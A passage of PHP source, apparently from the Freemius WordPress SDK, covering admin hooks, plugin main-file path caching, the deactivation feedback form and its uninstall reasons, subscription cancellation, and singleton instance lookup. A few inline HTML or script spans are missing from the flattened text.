add_action( 'admin_enqueue_scripts', array( &$this, '_store_tabs_styles' ), 9999999 ); } add_action( 'admin_footer', array( &$this, '_add_freemius_tabs' ), /** * The tabs JS code must be executed after the tabs capture logic (_tabs_capture()). * That's why the priority is 11 while the tabs capture logic is added * with priority 10. * * @author Vova Feldman (@svovaf) */ 11 ); } if ( ! self::is_ajax() ) { if ( ! $this->is_addon() || $this->is_only_premium() ) { add_action( ( $this->_is_network_active && fs_is_network_admin() ? 'network_' : '' ) . 'admin_menu', array( &$this, '_prepare_admin_menu' ), WP_FS__LOWEST_PRIORITY ); } } } /** * Makes Freemius-related updates unavailable on the "Add Plugins" admin page (/plugin-install.php) so that * they won't interfere with the .org plugins' functionalities on that page (e.g. updating of a .org plugin). * * @author Leo Fajardo (@leorw) * @since 2.2.3 * * @param object $updates * @param string|null $transient * * @return object */ static function _remove_fs_updates_from_plugin_install_page( $updates, $transient = null ) { if ( is_object( $updates ) && isset( $updates->response ) ) { foreach ( $updates->response as $file => $plugin ) { if ( isset( $plugin->package ) && false !== strpos( $plugin->package, 'api.freemius' ) ) { unset( $updates->response[ $file ] ); } } } return $updates; } /** * Prepends the `fs_allow_updater_and_dialog` param to the plugin information URLs to tell the SDK to handle * the information that is shown on the plugin details dialog that is shown when the relevant link is clicked. * * @author Leo Fajardo (@leorw) * @since 2.2.3 * * @return void */ static function _prepend_fs_allow_updater_and_dialog_flag_url_param() { $slug_basename_map = array(); foreach ( self::$_instances as $instance ) { if ( ! $instance->is_plugin() ) { continue; } $slug_basename_map[ $instance->get_slug() ] = $instance->premium_plugin_basename(); } ?> is_beta() ) { $has_any_beta_version = true; break; } } if ( $has_any_beta_version ) { fs_enqueue_local_style( 'fs_plugins', '/admin/plugins.css' ); } } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 */ static function _maybe_add_beta_label_to_plugins_and_handle_confirmation() { $beta_data = array(); foreach ( self::$_instances as $instance ) { if ( ! $instance->is_premium() ) { continue; } /** * If there's an available beta version update, a confirmation message will be shown when the * "Update now" link on the "Plugins" or "Themes" page is clicked. */ $has_beta_update = $instance->has_beta_update(); $is_beta = ( // The "Beta" label is added separately for themes. $instance->is_plugin() && $instance->is_beta() ); if ( ! $is_beta && ! $has_beta_update ) { continue; } $beta_data[ $instance->get_plugin_basename() ] = array( 'is_installed_version_beta' => $is_beta ); if ( ! $has_beta_update ) { continue; } $beta_data[ $instance->get_plugin_basename() ]['beta_version_update_confirmation_message'] = sprintf( '%s %s', sprintf( fs_esc_attr_inline( 'An update to a Beta version will replace your installed version of %s with the latest Beta release - use with caution, and not on production sites. You have been warned.', 'beta-version-update-caution', $instance->get_slug() ), $instance->get_plugin_title() ), fs_esc_attr_inline( 'Would you like to proceed with the update?', 'update-confirmation', $instance->get_slug() ) ); } if ( empty( $beta_data ) ) { return; } ?> _free_plugin_basename ] ); unset( $uninstallable_plugins[ $this->premium_plugin_basename() ] ); update_option( 'uninstall_plugins', $uninstallable_plugins ); } /** * @since 1.2.0 Invalidate module's main file cache, otherwise, FS_Plugin_Updater will not fetch updates. * * @param bool $store_prev_path */ private function clear_module_main_file_cache( $store_prev_path = true ) { if ( ! isset( $this->_storage->plugin_main_file ) || empty( $this->_storage->plugin_main_file->path ) ) { return; } if ( ! $store_prev_path ) { /** * Storing the previous path is not needed when clearing the cache after an SDK version update since * the main purpose of the cache clearing in that event is to correct a wrong plugin main file path * which causes data mix-up between plugins (e.g. titles and versions of an add-on and its parent plugin). * * @author Leo Fajardo (@leorw) * @since 2.2.1 */ unset( $this->_storage->plugin_main_file->path ); } else { $plugin_main_file = clone $this->_storage->plugin_main_file; // Store cached path (2nd layer cache). $plugin_main_file->prev_path = $plugin_main_file->path; // Clear cached path. unset( $plugin_main_file->path ); $this->_storage->plugin_main_file = $plugin_main_file; } /** * Clear global cached path. * * @author Leo Fajardo (@leorw) * @since 1.2.2 */ $id_slug_type_path_map = self::$_accounts->get_option( 'id_slug_type_path_map' ); unset( $id_slug_type_path_map[ $this->_module_id ]['path'] ); self::$_accounts->set_option( 'id_slug_type_path_map', $id_slug_type_path_map, true ); } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 */ function _hook_action_links_and_register_account_hooks() { if ( $this->is_migration() ) { return; } if ( ( self::is_plugins_page() && $this->is_plugin() ) || ( self::is_themes_page() && $this->is_theme() ) || fs_request_is_action_secure( $this->get_unique_affix() . '_reconnect' ) ) { $this->_add_tracking_links(); } if ( self::is_plugins_page() && $this->is_plugin() ) { $this->hook_plugin_action_links(); } $this->_register_account_hooks(); } /** * @author Vova Feldman (@svovaf) * @since 1.0.9 */ private function _register_account_hooks() { if ( ! is_admin() ) { return; } /** * Always show the deactivation feedback form since we added * automatic free version deactivation upon premium code activation. * * @since 1.2.1.6 */ $this->add_ajax_action( 'submit_uninstall_reason', array( &$this, '_submit_uninstall_reason_action' ) ); $this->add_ajax_action( 'cancel_subscription_or_trial', array( &$this, 'cancel_subscription_or_trial_ajax_action' ) ); if ( ! $this->is_addon() || $this->is_parent_plugin_installed() ) { if ( ( $this->is_plugin() && self::is_plugins_page() ) || ( $this->is_theme() && self::is_themes_page() ) ) { add_action( 'admin_footer', array( &$this, '_add_deactivation_feedback_dialog_box' ) ); } } } /** * Leverage backtrace to find caller plugin file path. * * @param bool $is_init Is initiation sequence. * @param string $main_file Since 2.5.0 expects the module's main file path to potentially purge the cached path. * * @return string * @since 1.0.6 * * @author Vova Feldman (@svovaf) */ private function _find_caller_plugin_file( $is_init = false, $main_file = '' ) { // Try to load the cached value of the file path. if ( isset( $this->_storage->plugin_main_file ) ) { $plugin_main_file = $this->_storage->plugin_main_file; if ( ! empty( $plugin_main_file->path ) ) { $absolute_path = $this->get_absolute_path( $plugin_main_file->path ); if ( file_exists( $absolute_path ) ) { if ( $is_init && $absolute_path !== $this->get_absolute_path( $main_file ) ) { // Update cached path if not matching the actual path. $plugin_main_file->path = $main_file; $this->_storage->plugin_main_file = $plugin_main_file; } return $absolute_path; } } } /** * @since 1.2.1 * * `clear_module_main_file_cache()` is clearing the plugin's cached path on * deactivation. Therefore, if any plugin/theme was initiating `Freemius` * with that plugin's slug, it was overriding the empty plugin path with a wrong path. * * So, we've added a special mechanism with a 2nd layer of cache that uses `prev_path` * when the class instantiator isn't the module. */ if ( ! $is_init ) { // Fetch prev path cache. if ( isset( $this->_storage->plugin_main_file ) && ! empty( $this->_storage->plugin_main_file->prev_path ) ) { $absolute_path = $this->get_absolute_path( $this->_storage->plugin_main_file->prev_path ); if ( file_exists( $absolute_path ) ) { return $absolute_path; } } wp_die( $this->get_text_inline( 'Freemius SDK couldn\'t find the plugin\'s main file. Please contact sdk@freemius.com with the current error.', 'failed-finding-main-path' ) . " Module: {$this->_slug}; SDK: " . WP_FS__SDK_VERSION . ";", $this->get_text_inline( 'Error', 'error' ), array( 'back_link' => true ) ); } /** * @since 1.2.1 * * Only the original instantiator that calls dynamic_init can modify the module's path. */ // Find caller module. $this->_storage->plugin_main_file = (object) array( 'path' => $main_file, ); return $this->get_absolute_path( $main_file ); } /** * @author Leo Fajardo (@leorw) * @since 1.2.3 * * @param string $path * * @return string */ private function get_relative_path( $path ) { $module_root_dir = $this->get_module_root_dir_path(); if ( 0 === strpos( $path, $module_root_dir ) ) { $path = substr( $path, strlen( $module_root_dir ) ); } return $path; } /** * @author Leo Fajardo (@leorw) * @since 1.2.3 * * @param string $path * @param string|bool $module_type * * @return string */ private function get_absolute_path( $path, $module_type = false ) { $module_root_dir = $this->get_module_root_dir_path( $module_type ); if ( 0 !== strpos( $path, $module_root_dir ) ) { $path = fs_normalize_path( $module_root_dir . $path ); } return $path; } /** * @author Leo Fajardo (@leorw) * @since 1.2.3 * * @param string|bool $module_type * * @return string */ private function get_module_root_dir_path( $module_type = false ) { $is_plugin = empty( $module_type ) ? $this->is_plugin() : ( WP_FS__MODULE_TYPE_PLUGIN === $module_type ); return fs_normalize_path( trailingslashit( $is_plugin ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) ) ); } /** * @author Leo Fajardo (@leorw) * * @param number $module_id * @param string $slug * * @return string Since 2.5.0 return the module's main file path. * * @since 1.2.2 */ private function store_id_slug_type_path_map( $module_id, $slug ) { $id_slug_type_path_map = self::$_accounts->get_option( 'id_slug_type_path_map', array() ); $store_option = false; if ( ! isset( $id_slug_type_path_map[ $module_id ] ) ) { $id_slug_type_path_map[ $module_id ] = array( 'slug' => $slug ); $store_option = true; } else if ( isset( $id_slug_type_path_map[ $module_id ]['slug'] ) && $slug !== $id_slug_type_path_map[ $module_id ]['slug'] ) { $id_slug_type_path_map[ $module_id ]['slug'] = $slug; $store_option = true; } $find_caller = empty( $id_slug_type_path_map[ $module_id ]['path'] ); if ( ! $find_caller ) { /** * This verification is for cases when suddenly the same module * is installed but with a different folder name. * * @author Vova Feldman (@svovaf) * @since 1.2.3 */ $find_caller = ! file_exists( $this->get_absolute_path( $id_slug_type_path_map[ $module_id ]['path'], $id_slug_type_path_map[ $module_id ]['type'] ) ); } foreach ( $id_slug_type_path_map as $id => $data ) { if ( empty( $id ) ) { // Remove maps with empty module ID. unset( $id_slug_type_path_map[ $id ] ); $store_option = true; continue; } /** * If the module's main file path is identical to the main file path of another module then it means that the cached path of the current module or the other one with the same path is wrong, and therefore, we need to recalculate those paths. * * @author Vova Feldman (@svovaf) * @since 2.5.0 */ if ( ! $find_caller ) { if ( $id == $module_id ) { continue; } if ( isset( $data['path'] ) && $data['path'] === $id_slug_type_path_map[ $module_id ]['path'] ) { $find_caller = true; } } } if ( $find_caller ) { $caller_main_file_and_type = $this->get_caller_main_file_and_type( $module_id ); $id_slug_type_path_map[ $module_id ]['type'] = $caller_main_file_and_type->module_type; $id_slug_type_path_map[ $module_id ]['path'] = $caller_main_file_and_type->path; $store_option = true; } if ( $store_option ) { self::$_accounts->set_option( 'id_slug_type_path_map', $id_slug_type_path_map, true ); } return $id_slug_type_path_map[ $module_id ]['path']; } /** * Identifies the caller type: plugin or theme. * * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @author Vova Feldman (@svovaf) * @since 1.2.2.3 Find the earliest module in the call stack that calls to the SDK. This fix is for cases when * add-ons are relying on loading the SDK from the parent module, and also allows themes including the * SDK an internal file instead of directly from functions.php. * @since 1.2.1.7 Knows how to handle cases when an add-on includes the parent module logic. * * @param number $module_id @since 2.5.0 */ private function get_caller_main_file_and_type( $module_id ) { self::require_plugin_essentials(); $all_plugins = fs_get_plugins( true ); $all_plugins_paths = array(); // Get active plugin's main files real full names (might be symlinks). foreach ( $all_plugins as $relative_path => $data ) { if ( false === strpos( fs_normalize_path( $relative_path ), '/' ) ) { /** * Ignore plugins that don't have a folder (e.g. Hello Dolly) since they * can't really include the SDK. * * @author Vova Feldman * @since 1.2.1.7 */ continue; } $all_plugins_paths[] = fs_normalize_path( realpath( WP_PLUGIN_DIR . '/' . $relative_path ) ); } $caller_file_candidate = false; $caller_map = array(); $module_type = WP_FS__MODULE_TYPE_PLUGIN; $themes_dir = fs_normalize_path( get_theme_root( get_stylesheet() ) ); $plugin_dir_to_skip = false; for ( $i = 1, $bt = debug_backtrace(), $len = count( $bt ); $i < $len; $i ++ ) { if ( empty( $bt[ $i ]['file'] ) ) { continue; } if ( $i > 1 && ! empty( $bt[ $i - 1 ]['file'] ) && $bt[ $i ]['file'] === $bt[ $i - 1 ]['file'] ) { // If file same as the prev file in the stack, skip it. continue; } if ( ! empty( $bt[ $i ]['function'] ) && in_array( $bt[ $i ]['function'], array( 'do_action', 'apply_filter', // The string split is stupid, but otherwise, theme check // throws info notices. 'requir' . 'e_once', 'requir' . 'e', 'includ' . 'e_once', 'includ' . 'e', 'install_and_activate_plugin', 'try_activate_plugin', 'activate_plugin' ) ) ) { if ( 'activate_plugin' === $bt[ $i ]['function'] ) { /** * Store the directory of the activator plugin so that any other file that starts with it * cannot be mistakenly chosen as a candidate caller file. * * @author Leo Fajardo * * @since 2.3.0 */ $caller_file_path = fs_normalize_path( $bt[ $i ]['file'] ); foreach ( $all_plugins_paths as $plugin_path ) { $plugin_dir = fs_normalize_path( dirname( $plugin_path ) . '/' ); if ( false !== strpos( $caller_file_path, $plugin_dir ) ) { $plugin_dir_to_skip = $plugin_dir; break; } } } // Ignore call stack hooks and files inclusion. continue; } $caller_file_path = fs_normalize_path( $bt[ $i ]['file'] ); if ( ! empty( $plugin_dir_to_skip ) ) { /** * Skip if it's an activator plugin file to avoid mistakenly choosing it as a candidate caller file. * * @author Leo Fajardo * * @since 2.3.0 */ if ( 0 === strpos( $caller_file_path, $plugin_dir_to_skip ) ) { continue; } } if ( 'functions.php' === basename( $caller_file_path ) ) { /** * 1. Assumes that theme's starting execution file is functions.php. * 2. This complex logic fixes symlink issues (e.g. with Vargant). * * @author Vova Feldman (@svovaf) * @since 1.2.2.5 */ if ( $caller_file_path == fs_normalize_path( realpath( trailingslashit( $themes_dir ) . basename( dirname( $caller_file_path ) ) . '/' . basename( $caller_file_path ) ) ) ) { $module_type = WP_FS__MODULE_TYPE_THEME; /** * Relative path of the theme, e.g.: * `my-theme/functions.php` * * @author Leo Fajardo (@leorw) */ $caller_file_candidate = basename( dirname( $caller_file_path ) ) . '/' . basename( $caller_file_path ); continue; } } $caller_file_hash = md5( $caller_file_path ); if ( ! isset( $caller_map[ $caller_file_hash ] ) ) { foreach ( $all_plugins_paths as $plugin_path ) { if ( empty( $plugin_path ) ) { continue; } if ( false !== strpos( $caller_file_path, fs_normalize_path( dirname( $plugin_path ) . '/' ) ) ) { $caller_map[ $caller_file_hash ] = fs_normalize_path( $plugin_path ); break; } } } if ( isset( $caller_map[ $caller_file_hash ] ) ) { $module_type = WP_FS__MODULE_TYPE_PLUGIN; $caller_file_candidate = plugin_basename( $caller_map[ $caller_file_hash ] ); } } $caller_main_file_and_type = (object) array( 'module_type' => $module_type, 'path' => $caller_file_candidate ); return apply_filters( "fs_{$module_id}_caller_main_file_and_type", $caller_main_file_and_type ); } #---------------------------------------------------------------------------------- #region Deactivation Feedback Form #---------------------------------------------------------------------------------- /** * Displays a confirmation and feedback dialog box when the user clicks on the "Deactivate" link on the plugins * page. * * @author Vova Feldman (@svovaf) * @author Leo Fajardo (@leorw) * * @since 1.1.2 */ function _add_deactivation_feedback_dialog_box() { if ( $this->is_clone() || ( is_object( $this->_site ) && ! $this->is_registered() ) ) { return; } $subscription_cancellation_dialog_box_template_params = $this->apply_filters( 'show_deactivation_subscription_cancellation', true ) ? $this->_get_subscription_cancellation_dialog_box_template_params() : array(); /** * @since 2.3.0 Developers can optionally hide the deactivation feedback form using the 'show_deactivation_feedback_form' filter. */ $show_deactivation_feedback_form = ! self::is_deactivation_snoozed(); if ( $this->has_filter( 'show_deactivation_feedback_form' ) ) { $show_deactivation_feedback_form = $this->apply_filters( 'show_deactivation_feedback_form', true ); } else if ( $this->is_addon() ) { /** * If the add-on's 'show_deactivation_feedback_form' is not set, try to inherit the value from the parent. */ $show_deactivation_feedback_form = $this->get_parent_instance()->apply_filters( 'show_deactivation_feedback_form', true ); } $uninstall_confirmation_message = $this->apply_filters( 'uninstall_confirmation_message', '' ); if ( empty( $subscription_cancellation_dialog_box_template_params ) && ! $show_deactivation_feedback_form && empty( $uninstall_confirmation_message ) ) { return; } $vars = array( 'id' => $this->_module_id ); if ( $show_deactivation_feedback_form ) { /* Check the type of user: * 1. Long-term (long-term) * 2. Non-registered and non-anonymous short-term (non-registered-and-non-anonymous-short-term). * 3. Short-term (short-term) */ $is_long_term_user = true; // Check if the site is at least 2 days old. $time_installed = $this->_storage->install_timestamp; // Difference in seconds. $date_diff = time() - $time_installed; // Convert seconds to days. $date_diff_days = floor( $date_diff / ( 60 * 60 * 24 ) ); if ( $date_diff_days < 2 ) { $is_long_term_user = false; } $is_long_term_user = $this->apply_filters( 'is_long_term_user', $is_long_term_user ); if ( $is_long_term_user ) { $user_type = 'long-term'; } else { if ( ! $this->is_registered() && ! $this->is_anonymous() ) { $user_type = 'non-registered-and-non-anonymous-short-term'; } else { $user_type = 'short-term'; } } $uninstall_reasons = $this->_get_uninstall_reasons( $user_type ); $vars['reasons'] = $uninstall_reasons; } $vars['subscription_cancellation_dialog_box_template_params'] = &$subscription_cancellation_dialog_box_template_params; $vars['show_deactivation_feedback_form'] = $show_deactivation_feedback_form; $vars['uninstall_confirmation_message'] = $uninstall_confirmation_message; /** * Load the HTML template for the deactivation feedback dialog box. * * @todo Deactivation form core functions should be loaded only once! Otherwise, when there are multiple Freemius powered plugins the same code is loaded multiple times. The only thing that should be loaded differently is the various deactivation reasons object based on the state of the plugin. */ fs_require_template( 'forms/deactivation/form.php', $vars ); } /** * @author Leo Fajardo (@leorw) * @since 1.1.2 * * @param string $user_type * * @return array The uninstall reasons for the specified user type. */ function _get_uninstall_reasons( $user_type = 'long-term' ) { $module_type = $this->_module_type; $internal_message_template_var = array( 'id' => $this->_module_id ); $plan = $this->get_plan(); if ( $this->is_registered() && is_object( $plan ) && $plan->has_technical_support() ) { $contact_support_template = fs_get_template( 'forms/deactivation/contact.php', $internal_message_template_var ); } else { $contact_support_template = ''; } $reason_found_better_plugin = array( 'id' => self::REASON_FOUND_A_BETTER_PLUGIN, 'text' => sprintf( $this->get_text_inline( 'I found a better %s', 'reason-found-a-better-plugin' ), $module_type ), 'input_type' => 'textfield', 'input_placeholder' => sprintf( $this->get_text_inline( "What's the %s's name?", 'placeholder-plugin-name' ), $module_type ), ); $reason_temporary_deactivation = array( 'id' => self::REASON_TEMPORARY_DEACTIVATION, 'text' => sprintf( $this->get_text_inline( "It's a temporary %s - I'm troubleshooting an issue", 'reason-temporary-x' ), strtolower( $this->is_plugin() ? $this->get_text_inline( 'Deactivation', 'deactivation' ) : $this->get_text_inline( 'Theme Switch', 'theme-switch' ) ) ), 'input_type' => '', 'input_placeholder' => '' ); $reason_other = array( 'id' => self::REASON_OTHER, 'text' => $this->get_text_inline( 'Other', 'reason-other' ), 'input_type' => 'textfield', 'input_placeholder' => '' ); $long_term_user_reasons = array( array( 'id' => self::REASON_NO_LONGER_NEEDED, 'text' => sprintf( $this->get_text_inline( 'I no longer need the %s', 'reason-no-longer-needed' ), $module_type ), 'input_type' => '', 'input_placeholder' => '' ), $reason_found_better_plugin, array( 'id' => self::REASON_NEEDED_FOR_A_SHORT_PERIOD, 'text' => sprintf( $this->get_text_inline( 'I only needed the %s for a short period', 'reason-needed-for-a-short-period' ), $module_type ), 'input_type' => '', 'input_placeholder' => '' ), array( 'id' => self::REASON_BROKE_MY_SITE, 'text' => sprintf( $this->get_text_inline( 'The %s broke my site', 'reason-broke-my-site' ), $module_type ), 'input_type' => '', 'input_placeholder' => '', 'internal_message' => $contact_support_template ), array( 'id' => self::REASON_SUDDENLY_STOPPED_WORKING, 'text' => sprintf( $this->get_text_inline( 'The %s suddenly stopped working', 'reason-suddenly-stopped-working' ), $module_type ), 'input_type' => '', 'input_placeholder' => '', 'internal_message' => $contact_support_template ) ); if ( $this->is_paying() ) { $long_term_user_reasons[] = array( 'id' => self::REASON_CANT_PAY_ANYMORE, 'text' => $this->get_text_inline( "I can't pay for it anymore", 'reason-cant-pay-anymore' ), 'input_type' => 'textfield', 'input_placeholder' => $this->get_text_inline( 'What price would you feel comfortable paying?', 'placeholder-comfortable-price' ) ); } $reason_dont_share_info = array( 'id' => self::REASON_DONT_LIKE_TO_SHARE_MY_INFORMATION, 'text' => $this->get_text_inline( "I don't like to share my information with you", 'reason-dont-like-to-share-my-information' ), 'input_type' => '', 'input_placeholder' => '' ); /** * If the current user has selected the "don't share data" reason in the deactivation feedback modal, inform the * user by showing additional message that he doesn't have to share data and can just choose to skip the opt-in * (the Skip button is included in the message to show). This message will only be shown if anonymous mode is * enabled and the user's account is currently not in pending activation state (similar to the way the Skip * button in the opt-in form is shown/hidden). */ if ( $this->is_enable_anonymous() && ! $this->is_pending_activation() ) { $reason_dont_share_info['internal_message'] = fs_get_template( 'forms/deactivation/retry-skip.php', $internal_message_template_var ); } $uninstall_reasons = array( 'long-term' => $long_term_user_reasons, 'non-registered-and-non-anonymous-short-term' => array( array( 'id' => self::REASON_DIDNT_WORK, 'text' => sprintf( $this->get_text_inline( "The %s didn't work", 'reason-didnt-work' ), $module_type ), 'input_type' => '', 'input_placeholder' => '' ), $reason_dont_share_info, $reason_found_better_plugin ), 'short-term' => array( array( 'id' => self::REASON_COULDNT_MAKE_IT_WORK, 'text' => $this->get_text_inline( "I couldn't understand how to make it work", 'reason-couldnt-make-it-work' ), 'input_type' => '', 'input_placeholder' => '', 'internal_message' => $contact_support_template ), $reason_found_better_plugin, array( 'id' => self::REASON_GREAT_BUT_NEED_SPECIFIC_FEATURE, 'text' => sprintf( $this->get_text_inline( "The %s is great, but I need specific feature that you don't support", 'reason-great-but-need-specific-feature' ), $module_type ), 'input_type' => 'textarea', 'input_placeholder' => $this->get_text_inline( 'What feature?', 'placeholder-feature' ) ), array( 'id' => self::REASON_NOT_WORKING, 'text' => sprintf( $this->get_text_inline( 'The %s is not working', 'reason-not-working' ), $module_type ), 'input_type' => 'textarea', 'input_placeholder' => $this->get_text_inline( "Kindly share what didn't work so we can fix it for future users...", 'placeholder-share-what-didnt-work' ) ), array( 'id' => self::REASON_NOT_WHAT_I_WAS_LOOKING_FOR, 'text' => $this->get_text_inline( "It's not what I was looking for", 'reason-not-what-i-was-looking-for' ), 'input_type' => 'textarea', 'input_placeholder' => $this->get_text_inline( "What you've been looking for?", 'placeholder-what-youve-been-looking-for' ) ), array( 'id' => self::REASON_DIDNT_WORK_AS_EXPECTED, 'text' => sprintf( $this->get_text_inline( "The %s didn't work as expected", 'reason-didnt-work-as-expected' ), $module_type ), 'input_type' => 'textarea', 'input_placeholder' => $this->get_text_inline( 'What did you expect?', 'placeholder-what-did-you-expect' ) ) ) ); // Randomize the reasons for the current user type. shuffle( $uninstall_reasons[ $user_type ] ); // Keep the following reasons as the last items in the list. $uninstall_reasons[ $user_type ][] = $reason_temporary_deactivation; $uninstall_reasons[ $user_type ][] = $reason_other; $uninstall_reasons = $this->apply_filters( 'uninstall_reasons', $uninstall_reasons ); return $uninstall_reasons[ $user_type ]; } /** * Called after the user has submitted his reason for deactivating the plugin. * * @author Leo Fajardo (@leorw) * @since 1.1.2 */ function _submit_uninstall_reason_action() { $this->_logger->entrance(); $this->check_ajax_referer( 'submit_uninstall_reason' ); $reason_id = fs_request_get( 'reason_id' ); // Check if the given reason ID is an unsigned integer. if ( ! ctype_digit( $reason_id ) ) { exit; } $reason_info = trim( fs_request_get( 'reason_info', '' ) ); if ( ! empty( $reason_info ) ) { $reason_info = substr( $reason_info, 0, 128 ); } $reason = (object) array( 'id' => $reason_id, 'info' => $reason_info, 'is_anonymous' => fs_request_get_bool( 'is_anonymous' ) ); $this->_storage->store( 'uninstall_reason', $reason ); if ( self::REASON_TEMPORARY_DEACTIVATION == $reason->id ) { $snooze_period = fs_request_get( 'snooze_period' ); if ( is_numeric( $snooze_period ) && 0 < $snooze_period ) { self::snooze_deactivation_form( (int) $snooze_period ); } } /** * If the module type is "theme", trigger the uninstall event here (on theme deactivation) since themes do * not support uninstall hook. * * @author Leo Fajardo (@leorw) * @since 1.2.2 */ if ( $this->is_theme() ) { if ( $this->is_premium() && ! $this->has_active_valid_license() ) { FS_Plugin_Updater::instance( $this )->delete_update_data(); } $this->_uninstall_plugin_event( false ); $this->remove_sdk_reference(); } // Print '1' for successful operation. echo 1; exit; } #-------------------------------------------------------------------------------- #region Deactivation Feedback Snoozing #-------------------------------------------------------------------------------- /** * @author Vova Feldman (@svovaf) * @since 2.4.3 * * @param int $period * * @return bool True if the value was set, false otherwise. */ private static function snooze_deactivation_form( $period ) { return ( 0 < $period && self::reset_deactivation_snoozing( $period ) ); } /** * Check if deactivation feedback form is snoozed. * * @author Vova Feldman (@svovaf) * @since 2.4.3 * * @return bool */ static function is_deactivation_snoozed() { $is_snoozed = ( ! is_multisite() || fs_is_network_admin() ) ? get_transient( 'fs_snooze_period' ) : get_site_transient( 'fs_snooze_period' ); return ( 'true' === $is_snoozed ); } /** * Reset deactivation snoozing. When `$period` is `0` will stop deactivation snoozing by deleting the transients. Otherwise, will set the transients for the selected period. * * @param int $period Period in seconds. * * @author Vova Feldman (@svovaf) * @since 2.4.3 */ private static function reset_deactivation_snoozing( $period = 0 ) { $value = ( 0 === $period ) ? null : 'true'; if ( ! is_multisite() || fs_is_network_admin() ) { return set_transient( 'fs_snooze_period', $value, $period ); } else { return set_site_transient( 'fs_snooze_period', $value, $period ); } } /** * The deactivation snooze expiration UNIX timestamp (in sec). * * @author Vova Feldman (@svovaf) * @since 2.4.3 * * @return int */ static function deactivation_snooze_expires_at() { return ( ! is_multisite() || fs_is_network_admin() ) ? (int) get_option( '_transient_timeout_fs_snooze_period' ) : (int) get_site_option( '_site_transient_timeout_fs_snooze_period' ); } #endregion /** * @author Leo Fajardo (@leorw) * @since 2.1.4 */ function cancel_subscription_or_trial_ajax_action() { $this->_logger->entrance(); $this->check_ajax_referer( 'cancel_subscription_or_trial' ); $result = $this->cancel_subscription_or_trial( fs_request_get( 'plugin_id', $this->get_id() ), false ); if ( $this->is_api_error( $result ) ) { $this->shoot_ajax_failure( $result->error->message ); } $this->shoot_ajax_success(); } /** * @author Leo Fajardo (@leorw) * @since 2.1.4 * * @param number $plugin_id * * @return object */ private function cancel_subscription_or_trial( $plugin_id ) { $fs = null; if ( $plugin_id == $this->get_id() ) { $fs = $this; } else if ( $this->is_addon_activated( $plugin_id ) ) { $fs = self::get_instance_by_id( $plugin_id ); } $result = null; if ( ! is_null( $fs ) ) { $result = $fs->is_paid_trial() ? $fs->_cancel_trial() : $fs->_downgrade_site(); } return $result; } /** * @author Leo Fajardo (@leorw) * @since 2.0.2 */ function _delete_theme_update_data_action() { FS_Plugin_Updater::instance( $this )->delete_update_data(); } #endregion #---------------------------------------------------------------------------------- #region Instance #---------------------------------------------------------------------------------- /** * Main singleton instance. * * @author Vova Feldman (@svovaf) * @since 1.0.0 * * @param number $module_id * @param string|bool $slug * @param bool $is_init Is initiation sequence. * * @return Freemius|false */ static function instance( $module_id, $slug = false, $is_init = false ) { if ( empty( $module_id ) ) { return false; } /** * Load the essential static data prior to initiating FS_Plugin_Manager since there's an essential MS network migration logic that needs to be executed prior to the initiation. */ self::_load_required_static(); if ( ! is_numeric( $module_id ) ) { if ( ! $is_init && true === $slug ) { $is_init = true; } $slug = $module_id; $module = FS_Plugin_Manager::instance( $slug )->get(); if ( is_object( $module ) ) { $module_id = $module->id; } } $key = 'm_' . $module_id; if ( ! isset( self::$_instances[ $key ] ) ) { self::$_instances[ $key ] = new Freemius( $module_id, $slug, $is_init ); } return self::$_instances[ $key ]; } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param number $addon_id * * @return bool */ private static function has_instance( $addon_id ) { return isset( self::$_instances[ 'm_' . $addon_id ] ); } /** * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @param string|number $id_or_slug * @param string $module_type * * @return number|false */ private static function get_module_id( $id_or_slug, $module_type = WP_FS__MODULE_TYPE_PLUGIN ) { if ( is_numeric( $id_or_slug ) ) { return $id_or_slug; } foreach ( self::$_instances as $instance ) { // Also check the module type since there can be a plugin and a theme with the same slug. if ( ( $module_type === $instance->get_module_type() ) && ( $id_or_slug === $instance->get_slug() ) ) { return $instance->get_id(); } } return false; } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param number $id * * @return false|Freemius */ static function get_instance_by_id( $id ) { return isset ( self::$_instances[ 'm_' . $id ] ) ? self::$_instances[ 'm_' . $id ] : false; } /** * * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @param string $plugin_file * @param string $module_type * * @return false|Freemius */ static function get_instance_by_file( $plugin_file, $module_type = WP_FS__MODULE_TYPE_PLUGIN ) { $slug = self::find_slug_by_basename( $plugin_file ); return ( false !== $slug ) ? self::instance( self::get_module_id( $slug, $module_type ) ) : false; } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return false|Freemius */ function get_parent_instance() { return self::get_instance_by_id( $this->_plugin->parent_plugin_id ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param string|number $id_or_slug * * @return false|Freemius */ function get_addon_instance( $id_or_slug ) { $addon_id = self::get_module_id( $id_or_slug ); return self::instance( $addon_id ); } /** * @return Freemius[] */ static function _get_all_instances() { return self::$_instances; } #endregion ------------------------------------------------------------------ /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return bool */ function is_parent_plugin_installed() { $is_active = self::has_instance( $this->_plugin->parent_plugin_id ); if ( $is_active ) { return true; } /** * Parent module might be a theme. If that's the case, the add-on's FS * instance will be loaded prior to the theme's FS instance, therefore, * we need to check if it's active with a "look ahead". * * @author Vova Feldman * @since 1.2.2.3 */ global $fs_active_plugins; if ( is_object( $fs_active_plugins ) && is_array( $fs_active_plugins->plugins ) ) { $active_theme = wp_get_theme(); foreach ( $fs_active_plugins->plugins as $sdk => $module ) { if ( WP_FS__MODULE_TYPE_THEME === $module->type ) { if ( $module->plugin_path == $active_theme->get_stylesheet() ) { // Parent module is a theme and it's currently active. return true; } } } } return false; } /** * Check if add-on parent plugin in activation mode. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @return bool */ function is_parent_in_activation() { $parent_fs = $this->get_parent_instance(); if ( ! is_object( $parent_fs ) ) { return false; } return ( $parent_fs->is_activation_mode() ); } /** * Is plugin in activation mode. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @param bool $and_on * * @return bool */ function is_activation_mode( $and_on = true ) { return fs_is_network_admin() ? $this->is_network_activation_mode( $and_on ) : $this->is_site_activation_mode( $and_on ); } /** * Is plugin in activation mode. * * @author Vova Feldman 